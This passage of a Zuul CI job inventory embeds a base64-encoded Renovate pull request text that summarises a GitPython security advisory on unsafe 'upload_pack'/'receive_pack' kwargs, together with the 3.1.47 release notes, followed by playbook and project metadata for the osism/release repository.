HRpb25zIiBhbmQgcGFzcyBpdCBpbnRvIEdpdFB5dGhvbiB3aXRoIGAqKmt3YXJnc2AKLSBDSS9DRCBzeXN0ZW1zLCB3b3JrZXJzLCBhdXRvbWF0aW9uIGJvdHMsIG9yIGludGVybmFsIHRvb2xzIHRoYXQgYnVpbGQgR2l0UHl0aG9uIGNhbGxzIGZyb20gdW50cnVzdGVkIGludGVncmF0aW9uIHNldHRpbmdzIG9yIGpvYiBkZWZpbml0aW9ucyAoeWFtbCwganNvbiwgZXRjIGNvbmZpZ3MgKQoKV2hhdCB0aGUgYXR0YWNrZXIgbmVlZHMgdG8gY29udHJvbDoKCi0gQSB2YWx1ZSB0aGF0IGJlY29tZXMgYHVwbG9hZF9wYWNrYCBvciBgcmVjZWl2ZV9wYWNrYCBpbiB0aGUga3dhcmdzIHBhc3NlZCB0byBgUmVwby5jbG9uZV9mcm9tKClgLCBgUmVtb3RlLmZldGNoKClgLCBgUmVtb3RlLnB1bGwoKWAsIG9yIGBSZW1vdGUucHVzaCgpYAoKRnJvbSBhIHNldmVyaXR5IHBlcnNwZWN0aXZlLCB0aGlzIGNvdWxkIGxlYWQgdG8KLSBUaGVmdCBvZiBTU0gga2V5cywgZGVwbG95IGNyZWRlbnRpYWxzLCBBUEkgdG9rZW5zLCBvciBjbG91ZCBjcmVkZW50aWFscyBhdmFpbGFibGUgdG8gdGhlIHByb2Nlc3MKLSBNb2RpZmljYXRpb24gb2YgcmVwb3NpdG9yaWVzLCBidWlsZCBvdXRwdXRzLCBvciByZWxlYXNlIGFydGlmYWN0cwotIExhdGVyYWwgbW92ZW1lbnQgZnJvbSBDSS9DRCB3b3JrZXJzIG9yIGF1dG9tYXRpb24gaG9zdHMKLSBGdWxsIGNvbXByb21pc2Ugb2YgdGhlIHdvcmtlciBvciBzZXJ2aWNlIHByb2Nlc3MgaGFuZGxpbmcgcmVwb3NpdG9yeSBvcGVyYXRpb25zCgpUaGUgaGlnaGVzdC1yaXNrIGVudmlyb25tZW50cyBhcmUgbmV0d29yay1yZWFjaGFibGUgc2VydmljZXMgYW5kIGF1dG9tYXRpb24gc3lzdGVtcyB0aGF0IGV4cG9zZSB0aGVzZSBHaXRQeXRob24ga3dhcmdzIGFjcm9zcyBhIHRydXN0IGJvdW5kYXJ5IHdoaWxlIHJlbHlpbmcgb24gdGhlIGRlZmF1bHQgdW5zYWZlLW9wdGlvbiBndWFyZCBmb3IgcHJvdGVjdGlvbi4KCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA4LjggLyAxMCAoSGlnaCkKLSBWZWN0b3IgU3RyaW5nOiBgQ1ZTUzozLjEvQVY6Ti9BQzpML1BSOkwvVUk6Ti9TOlUvQzpIL0k6SC9BOkhgCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLXJwbTUtNjVjdy02aGo0KQotIFtodHRwczovL2dpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXJwbTUtNjVjdy02aGo0XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXJwbTUtNjVjdy02aGo0KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXJwbTUtNjVjdy02aGo0KSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBSZWxlYXNlIE5vdGVzCgo8ZGV0YWlscz4KPHN1bW1hcnk+Z2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uIChHaXRQeXRob24pPC9zdW1tYXJ5PgoKIyMjIFtgdjMuMS40N2BdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS40Nyk6IC0gd2l0aCBzZWN1cml0eSBmaXhlcwoKW0NvbXBhcmUgU291cmNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbXBhcmUvMy4xLjQ2Li4uMy4xLjQ3KQoKIyMjIyBBZHZpc29yaWVzCgotIDxodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1ycG01LTY1Y3ctNmhqND4KLSA8aHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EteDJxeC02OTUzLTg0ODU+CgojIyMjIFdoYXQncyBDaGFuZ2VkCgotIFByZXBhcmUgbmV4dCByZWxlYXNlIGJ5IFtAJiM4MjAzO0J5cm9uXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vQnlyb24pIGluIFsjJiM4MjAzOzIwOTVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDk1KQotIEJ1bXAgZ2l0L2V4dC9naXRkYiBmcm9tIGAzMzVjMGY2YCB0byBgNGM2M2VlNmAgYnkgW0AmIzgyMDM7ZGVwZW5kYWJvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2RlcGVuZGFib3QpXFtib3RdIGluIFsjJiM4MjAzOzIwOTZdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDk2KQotIERPQzogUkVBRE1FIEFkZCB1cmxzIGFuZCB1cGRhdGVkIGEgcmVsYXRpdmUgdXJsIGJ5IFtAJiM4MjAzO1RpbW91ci1JbHlhc10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL1RpbW91ci1JbHlhcykgaW4gWyMmIzgyMDM7MjA5OF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwOTgpCi0gRml4IEdpdENvbmZpZ1BhcnNlciBpZ25vcmluZyBtdWx0aXBsZSBcW2luY2x1ZGVdIHBhdGggZW50cmllcyBieSBbQCYjODIwMztkYW5pZWw3YW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9kYW5pZWw3YW4pIGluIFsjJiM4MjAzOzIxMDBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTAwKQotIFN3aXRjaCBiYWNrIGZyb20gQWxwaW5lIHRvIERlYmlhbiBmb3IgV1NMIGJ5IFtAJiM4MjAzO0VsaWFoS2FnYW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9FbGlhaEthZ2FuKSBpbiBbIyYjODIwMzsyMTA4XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjEwOCkKLSBCdW1wIGdpdC9leHQvZ2l0ZGIgZnJvbSBgNGM2M2VlNmAgdG8gYDVjMWIzMDNgIGJ5IFtAJiM4MjAzO2RlcGVuZGFib3RdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9kZXBlbmRhYm90KVxbYm90XSBpbiBbIyYjODIwMzsyMTA2XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjEwNikKLSBSdW4gYGdjLmNvbGxlY3QoKWAgdHdpY2UgaW4gYHRlc3RfcmVuYW1lYCBvbiBQeXRob24gMy4xMiBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MjEwOV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMDkpCi0gZml4OiBndWFyZCBBdXRvSW50ZXJydXB0IHRlcm1pbmF0ZSBkdXJpbmcgaW50ZXJwcmV0ZXIgc2h1dGRvd24gYnkgW0AmIzgyMDM7bHdleXJpY2gxXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vbHdleXJpY2gxKSBpbiBbIyYjODIwMzsyMTA1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjEwNSkKLSBJbXByb3ZlIENJIGluZnJhc3RydWN0dXJlIGZvciBwcmUtY29tbWl0IGJ5IFtAJiM4MjAzO0VsaWFoS2FnYW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9FbGlhaEthZ2FuKSBpbiBbIyYjODIwMzsyMTEwXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjExMCkKLSBCdW1wIHRoZSBwcmUtY29tbWl0IGdyb3VwIHdpdGggNSB1cGRhdGVzIGJ5IFtAJiM4MjAzO2RlcGVuZGFib3RdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9kZXBlbmRhYm90KVxbYm90XSBpbiBbIyYjODIwMzsyMTExXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjExMSkKLSBVcGdyYWRlIFNwaGlueCBmb3IgMy4xNCBzdXBwb3J0OyBkcm9wIGRvYyBidWlsZCBzdXBwb3J0IG9uIDMuODsgdGVzdCAzLjE0IGJ5IFtAJiM4MjAzO0VsaWFoS2FnYW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9FbGlhaEthZ2FuKSBpbiBbIyYjODIwMzsyMTEyXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjExMikKLSBGaXggYFJlcG8uYWN0aXZlX2JyYW5jaGAgcmVzb2x1dGlvbiBmb3IgcmVmdGFibGUtYmFja2VkIHJlcG9zaXRvcmllcyBieSBbQCYjODIwMztDb3BpbG90XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vQ29waWxvdCkgaW4gWyMmIzgyMDM7MjExNF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMTQpCi0gZG9jczogd2FybiBhYm91dCBHaXREQiBwZXJmb3JtYW5jZSB3aXRoIGxhcmdlIGNvbW1pdHMgYnkgW0AmIzgyMDM7bXZhbmhvcm5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9tdmFuaG9ybikgaW4gWyMmIzgyMDM7MjExNV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMTUpCi0gY21kOiBmaXgga3dhcmcgZm9ybWF0dGluZyBpbiBkb2NzdHJpbmcgZXhhbXBsZSBieSBbQCYjODIwMztVd2VTY2h3YWVrZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL1V3ZVNjaHdhZWtlKSBpbiBbIyYjODIwMzsyMTE3XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjExNykKLSBCdW1wIDxodHRwczovL2dpdGh1Yi5jb20vYXN0cmFsLXNoL3J1ZmYtcHJlLWNvbW1pdD4gZnJvbSB2MC4xNS41IHRvIDAuMTUuOCBpbiB0aGUgcHJlLWNvbW1pdCBncm91cCBieSBbQCYjODIwMztkZXBlbmRhYm90XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZGVwZW5kYWJvdClcW2JvdF0gaW4gWyMmIzgyMDM7MjEyMl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMjIpCi0gQWRkIHRyYWlsZXIgc3VwcG9ydCBmb3IgY29tbWl0IGNyZWF0aW9uIGJ5IFtAJiM4MjAzO0tyaXNobmFjaGFpdGFueWFrY10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0tyaXNobmFjaGFpdGFueWFrYykgaW4gWyMmIzgyMDM7MjExNl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMTYpCi0gSGFyZGVuIGNvbW1pdCB0cmFpbGVyIHN1YnByb2Nlc3MgaGFuZGxpbmcgYW5kIGFsaWduIHRyYWlsZXIgSS9PIHBhdGhzIGJ5IFtAJiM4MjAzO0NvcGlsb3RdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9Db3BpbG90KSBpbiBbIyYjODIwMzsyMTI1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjEyNSkKLSBnaXQuY21kLkdpdC5leGVjdXRlKC4uKTogZml4IGB3aXRoX3N0ZG91dD1GYWxzZWAgYnkgW0AmIzgyMDM7bmdpZS1laWduXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vbmdpZS1laWduKSBpbiBbIyYjODIwMzsyMTI2XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjEyNikKLSBNYWtlIHN1cmUgdGhhdCBtdWx0aS1vcHRpb25zIGFyZSBjaGVja2VkIGFmdGVyIHNwbGl0dGluZyB0aGVtIHdpdGggYHNobGV4YCBieSBbQCYjODIwMztCeXJvbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0J5cm9uKSBpbiBbIyYjODIwMzsyMTMwXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjEzMCkKLSBCbG9jayB1bnNhZmUgdW5kZXJzY29yZWQgZ2l0IGt3YXJncyAvIEZpeCBmb3IgR0hTQS1ycG01LTY1Y3ctNmhqNCBieSBbQCYjODIwMztXZXNSXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vV2VzUikgaW4gWyMmIzgyMDM7MjEzMV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMzEpCgojIyMjIE5ldyBDb250cmlidXRvcnMKCi0gW0AmIzgyMDM7VGltb3VyLUlseWFzXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vVGltb3VyLUlseWFzKSBtYWRlIHRoZWlyIGZpcnN0IGNvbnRyaWJ1dGlvbiBpbiBbIyYjODIwMzsyMDk4XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA5OCkKLSBbQCYjODIwMztkYW5pZWw3YW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9kYW5pZWw3YW4pIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIxMDBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTAwKQotIFtAJiM4MjAzO2x3ZXlyaWNoMV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2x3ZXlyaWNoMSkgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjEwNV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMDUpCi0gW0AmIzgyMDM7Q29waWxvdF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0NvcGlsb3QpIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIxMTRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTE0KQotIFtAJiM4MjAzO212YW5ob3JuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vbXZhbmhvcm4pIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIxMTVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTE1KQotIFtAJiM4MjAzO1V3ZVNjaHdhZWtlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vVXdlU2Nod2Fla2UpIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIxMTddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTE3KQotIFtAJiM4MjAzO0tyaXNobmFjaGFpdGFueWFrY10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0tyaXNobmFjaGFpdGFueWFrYykgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjExNl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMTYpCi0gW0AmIzgyMDM7bmdpZS1laWduXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vbmdpZS1laWduKSBtYWRlIHRoZWlyIGZpcnN0IGNvbnRyaWJ1dGlvbiBpbiBbIyYjODIwMzsyMTI2XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjEyNikKLSBbQCYjODIwMztXZXNSXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vV2VzUikgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjEzMV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxMzEpCgoqKkZ1bGwgQ2hhbmdlbG9nKio6IDxodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbXBhcmUvMy4xLjQ2Li4uMy4xLjQ3PgoKPC9kZXRhaWxzPgoKLS0tCgojIyMgQ29uZmlndXJhdGlvbgoK8J+ThSAqKlNjaGVkdWxlKio6IChVVEMpCgotIEJyYW5jaCBjcmVhdGlvbgogIC0gIiIKLSBBdXRvbWVyZ2UKICAtIEF0IGFueSB0aW1lIChubyBzY2hlZHVsZSBkZWZpbmVkKQoK8J+apiAqKkF1dG9tZXJnZSoqOiBEaXNhYmxlZCBieSBjb25maWcuIFBsZWFzZSBtZXJnZSB0aGlzIG1hbnVhbGx5IG9uY2UgeW91IGFyZSBzYXRpc2ZpZWQuCgrimbsgKipSZWJhc2luZyoqOiBXaGVuZXZlciBQUiBiZWNvbWVzIGNvbmZsaWN0ZWQsIG9yIHlvdSB0aWNrIHRoZSByZWJhc2UvcmV0cnkgY2hlY2tib3guCgrwn5SVICoqSWdub3JlKio6IENsb3NlIHRoaXMgUFIgYW5kIHlvdSB3b24ndCBiZSByZW1pbmRlZCBhYm91dCB0aGlzIHVwZGF0ZSBhZ2Fpbi4KCi0tLQoKIC0gWyBdIDwhLS0gcmViYXNlLWNoZWNrIC0tPklmIHlvdSB3YW50IHRvIHJlYmFzZS9yZXRyeSB0aGlzIFBSLCBjaGVjayB0aGlzIGJveAoKLS0tCgpUaGlzIFBSIHdhcyBnZW5lcmF0ZWQgYnkgW01lbmQgUmVub3ZhdGVdKGh0dHBzOi8vbWVuZC5pby9yZW5vdmF0ZS8pLiBWaWV3IHRoZSBbcmVwb3NpdG9yeSBqb2IgbG9nXShodHRwczovL2RldmVsb3Blci5tZW5kLmlvL2dpdGh1Yi9vc2lzbS9yZWxlYXNlKS4KPCEtLXJlbm92YXRlLWRlYnVnOmV5SmpjbVZoZEdWa1NXNVdaWElpT2lJME15NHhOREV1TXlJc0luVndaR0YwWldSSmJsWmxjaUk2SWpRekxqRTBNUzR6SWl3aWRHRnlaMlYwUW5KaGJtTm9Jam9pYldGcGJpSXNJbXhoWW1Wc2N5STZXeUp5Wlc1dmRtRjBaU0pkZlE9PS0tPgo=
      patchset: 3d6baaff5c6b0c5e485248cf5444f8b5c64c5929
      pipeline: check
      playbook_context:
        playbook_projects:
          trusted/project_0/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 4f450aa36c28b035ce97359a888edbd7599eaf31
          trusted/project_1/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 397240f42127868e42e86e6aeb120c2cb092d117
          untrusted/project_0/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: 8ad17ed1be1f63229e054fab94af45f2511a98ea
          untrusted/project_1/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 4f450aa36c28b035ce97359a888edbd7599eaf31
          untrusted/project_2/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 397240f42127868e42e86e6aeb120c2cb092d117
        playbooks:
        - path: untrusted/project_0/github.com/osism/zuul-jobs/playbooks/yamllint/run.yaml
          roles:
          - checkout: main
            checkout_description: playbook branch
            link_name: ansible/playbook_0/role_0/zuul-jobs
            link_target: untrusted/project_0/github.com/osism/zuul-jobs
            role_path: ansible/playbook_0/role_0/zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_1/zuul-config
            link_target: untrusted/project_1/github.com/osism/zuul-config
            role_path: ansible/playbook_0/role_1/zuul-config/roles
          - checkout: master
            checkout_description: project default branch
            link_name: ansible/playbook_0/role_2/openinfra-zuul-jobs
            link_target: untrusted/project_2/github.com/osism/openinfra-zuul-jobs
            role_path: ansible/playbook_0/role_2/openinfra-zuul-jobs/roles
      post_review: false
      post_timeout: null
      pre_timeout: null
      project:
        canonical_hostname: github.com
        canonical_name: github.com/osism/release
        name: osism/release
        short_name: release
        src_dir: src/github.com/osism/release
      projects:
        github.com/osism/release:
          canonical_hostname: github.com
          canonical_name: github.com/osism/release
          checkout: main
          checkout_description: zuul branch
          commit: 84cba7e38cfb1dcf3de17f32775a6655f571b22e
          name: osism/release
          required: false
          short_name: release
          src_dir: src/github.com/osism/release
      ref: refs/pull/2468/head
      resources: {}
      tenant: osism
      timeout: 1800
      topic: null
      voting: true
